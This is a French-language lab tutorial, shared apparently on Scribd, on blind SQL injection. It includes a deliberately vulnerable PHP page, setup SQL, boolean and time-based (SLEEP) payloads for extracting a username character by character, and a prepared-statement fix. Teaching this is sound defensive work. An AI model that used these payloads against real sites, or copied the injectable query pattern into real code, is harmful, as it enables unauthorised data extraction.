0% ont trouvé ce document utile (0 vote)
4 vues4 pages

TP SQLi Aveugle

injection SQL aveugle

Transféré par

Hassan OULEMKDM
Copyright
© All Rights Reserved
Nous prenons très au sérieux les droits relatifs au contenu. Si vous pensez qu’il s’agit de votre contenu, signalez une atteinte au droit d’auteur ici.
Formats disponibles
Téléchargez aux formats DOCX, PDF, TXT ou lisez en ligne sur Scribd
0% ont trouvé ce document utile (0 vote)
4 vues4 pages

TP SQLi Aveugle

injection SQL aveugle

Transféré par

Hassan OULEMKDM
Copyright
© All Rights Reserved
Nous prenons très au sérieux les droits relatifs au contenu. Si vous pensez qu’il s’agit de votre contenu, signalez une atteinte au droit d’auteur ici.
Formats disponibles
Téléchargez aux formats DOCX, PDF, TXT ou lisez en ligne sur Scribd

Parfait — on va faire un mini labo concret et pédagogique pour bien comprendre comment

fonctionne une injection SQL aveugle 🔥

🧪 1. Application vulnérable (exemple simple PHP)

Imaginons cette page :

<?php
$conn = new mysqli("localhost", "root", "", "test");

$id = $_GET['id'];

$sql = "SELECT * FROM users WHERE id = $id";


$result = $conn->query($sql);

if ($result && $result->num_rows > 0) {


echo "Utilisateur trouvé";
} else {
echo "Utilisateur inexistant";
}
?>

👉 Problème : aucune protection → injection possible

👉 Mais on ne voit pas les données, seulement :

 "Utilisateur trouvé"

 "Utilisateur inexistant"

➡️Donc : Blind SQL Injection

🎯 2. Objectif de l’attaquant

Extraire par exemple :

username = admin

🧠 3. Étape 1 : vérifier la vulnérabilité

Tester :

?id=1 AND 1=1

👉 Réponse : Utilisateur trouvé

Puis :

?id=1 AND 1=2

👉 Réponse : Utilisateur inexistant


✔️Donc :
➡️on contrôle la logique SQL → vulnérable

🔍 4. Étape 2 : deviner le premier caractère

On teste :

?id=1 AND SUBSTRING(username,1,1)='a'

 Si réponse = "Utilisateur trouvé" → ✔️c'est 'a'

 Sinon → ❌

On continue :

?id=1 AND SUBSTRING(username,1,1)='b'


?id=1 AND SUBSTRING(username,1,1)='c'
...

👉 Jusqu’à trouver :

?id=1 AND SUBSTRING(username,1,1)='a' ✔️

🔁 5. Étape 3 : reconstruire tout le mot

Deuxième caractère :

?id=1 AND SUBSTRING(username,2,1)='d'

Troisième :

?id=1 AND SUBSTRING(username,3,1)='m'

...

👉 Résultat :

admin

➡️🎉 username = admin

6. Variante : attaque basée sur le temps

Si l’application retourne toujours la même réponse, on utilise le temps :

Exemple :

?id=1 AND IF(SUBSTRING(username,1,1)='a', SLEEP(5), 0)

👉 Si la page met 5 secondes :


➡️condition vraie

👉 Sinon :
➡️condition fausse
⚠️7. Pourquoi c’est puissant ?

Même sans afficher :

 email

 password

 tokens

👉 un attaquant peut tout extraire :

 caractère par caractère

 lentement mais sûrement

8. Correction (version sécurisée)

❌ Mauvais :

$sql = "SELECT * FROM users WHERE id = $id";

✅ Bon :

$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");


$stmt->bind_param("i", $id);
$stmt->execute();

👉 Ici :

 impossible d’injecter du SQL

 $id est traité comme donnée, pas comme code

💡 9. Ce que tu dois retenir

 Blind SQLi = attaque sans voir les données

 Utilise :

o ✔️TRUE / FALSE

o ✔️ou le temps

 Extraction = caractère par caractère

 Protection = requêtes préparées + validation


🧪 2. TP complet (à faire chez toi)
Étape 1 : créer la base

CREATE DATABASE test;

USE test;

CREATE TABLE users (


id INT PRIMARY KEY AUTO_INCREMENT,
username VARCHAR(50),
password VARCHAR(50)
);

INSERT INTO users (username, password)


VALUES ('admin', 'secret');

Étape 2 : fichier vulnérable

<?php
$conn = new mysqli("localhost", "root", "", "test");

$id = $_GET['id'];

$sql = "SELECT * FROM users WHERE id = $id";


$result = $conn->query($sql);

if ($result && $result->num_rows > 0) {


echo "Utilisateur trouvé";
} else {
echo "Utilisateur inexistant";
}
?>

🌐 Étape 3 : tests manuels

Dans ton navigateur :

[Link] AND 1=1

[Link] AND 1=2

👉 Observe la différence

🔍 Étape 4 : extraction

[Link] AND SUBSTRING(username,1,1)='a'

Vous aimerez peut-être aussi